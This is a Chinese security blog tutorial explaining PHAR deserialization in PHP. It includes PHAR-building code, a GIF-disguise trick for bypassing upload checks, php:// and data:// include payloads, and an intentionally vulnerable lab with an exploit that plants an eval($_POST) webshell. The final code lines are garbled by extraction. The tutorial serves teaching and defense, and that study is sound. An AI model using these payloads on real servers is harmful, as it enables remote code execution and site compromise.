第二十三天 phar反序列化漏洞

概要

来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞。
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。

利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

了解phar文件结构

stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

它们包含序列化格式的元数据。让我们创建一个Phar文件,并添加一个包含一些数据作为元数据的对象:

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

<?php
class TestObject
{
    
    
    private $name ='bihuo.cn';
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
//开启缓冲区
$phar->startBuffering();
//设置文件Stub前缀头
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
//将$o对象序列化写入文件中
$phar->setMetadata($o); //将自定义类的meta-data存入manifest
//添加想要追加的文件
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

常见样式

大多数PHP文件操作允许在访问文件路径时使用各种url样式,如data://、zlib://或php://。这些操作通常用于远程文件,攻击者可以在其中控制文件包含完整的文件路径。

远程文件包含漏洞利用:

include($_GET['file'])
include('php://filter/convert.base64-encode/resource=index.php');
include('data://text/plain;base64,cGhwaW5mbygpCg==');

序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
在这里插入图片描述
当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作.

将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
    class TestObject {
    
    
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

采用这种方法可以绕过很大一部分上传检测。

漏洞复现

利用条件

先来看一下这种攻击的利用条件。

phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

例题

首先寻找能够执行任意代码的类方法:

前端的上传页面

<html>
<body>
<form action="./upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>
</html>

后台的检测页面,先限制好只能传gif

<?php

if (($_FILES["file"]["type"] == "image/gif") && (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1)) == 'gif') {
    
    
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"])) {
    
    
        echo $_FILES["file"]["name"] . " already exists. ";
    } else {
    
    
        move_uploaded_file($_FILES["file"]["tmp_name"],
            "upload_file/" . $_FILES["file"]["name"]);
        echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
    }
} else {
    
    
    echo "Invalid file,you can only upload gif";
}

后台解析文件的php

<?php

$filename = @$_GET['filename'];
echo 'please input a filename' . '<br />';

class AnyClass
{
    
    
    var $output = 'echo "ok";';

    function __destruct()
    {
    
    
        eval($this->output);
    }
}

if (file_exists($filename)) {
    
    
    $a = new AnyClass();
} else {
    
    
    echo 'file is not exists';
}



emmm,可以看到,类里面有个魔幻函数,同时还有一句eval,没错,就是它了

自己打一个生成phar的文件

<?php
class AnyClass
{
    
    
    var $output = "eval(\$_POST['123456']);";

    function __destruct()
    {
    
    
        eval($this->output);
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
//开启缓冲区
$phar->startBuffering();
//设置文件Stub前缀头
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new AnyClass();
//将$o对象序列化写入文件中
$phar->setMetadata($o); //将自定义的meta-data存入manifest
//添加想要追加的文件
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
可以看到,stub前面已经加了gif头,类里面的参数是phpinfo,如果最后能利用的话就会输出php的信息

执行一下可以看到生成phar2.phar文件,改下后缀成gif文件,然后上传,最后访问

在这里插入图片描述
上传后路径

在这里插入图片描述

在这里插入图片描述

首先,攻击者必须能够在目标Web服务器上植入一个Phar文件。Sam Thomas发现了一个如何将Phar文件隐藏到JPG文件中的技巧,因此只要常见的图片上传功能就足够。但这并不重要,因为如果攻击者可以在ìnclude(),fopen(),file_get_contents(),file()等操作中控制完整的文件路径,那么将会造成严重的安全漏洞。因此,通常会在用户输入中验证这些功能。但是现在攻击者可以通过phar://注入并获得代码执行。

到目前为止看起来无害的代码示例:

file_exists( G E T [ ′ f i l e ′ ] ) ; m d 5 f i l e ( _GET['file']); md5_file( GET[file]);md5file(_GET[‘file’]);
filemtime( G E T [ ′ f i l e ′ ] ) ; f i l e s i z e ( _GET['file']); filesize( GET[file]);filesize(_GET[‘file’]);

参考:https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf

猜你喜欢

转载自blog.csdn.net/qq_42096378/article/details/123878035
今日推荐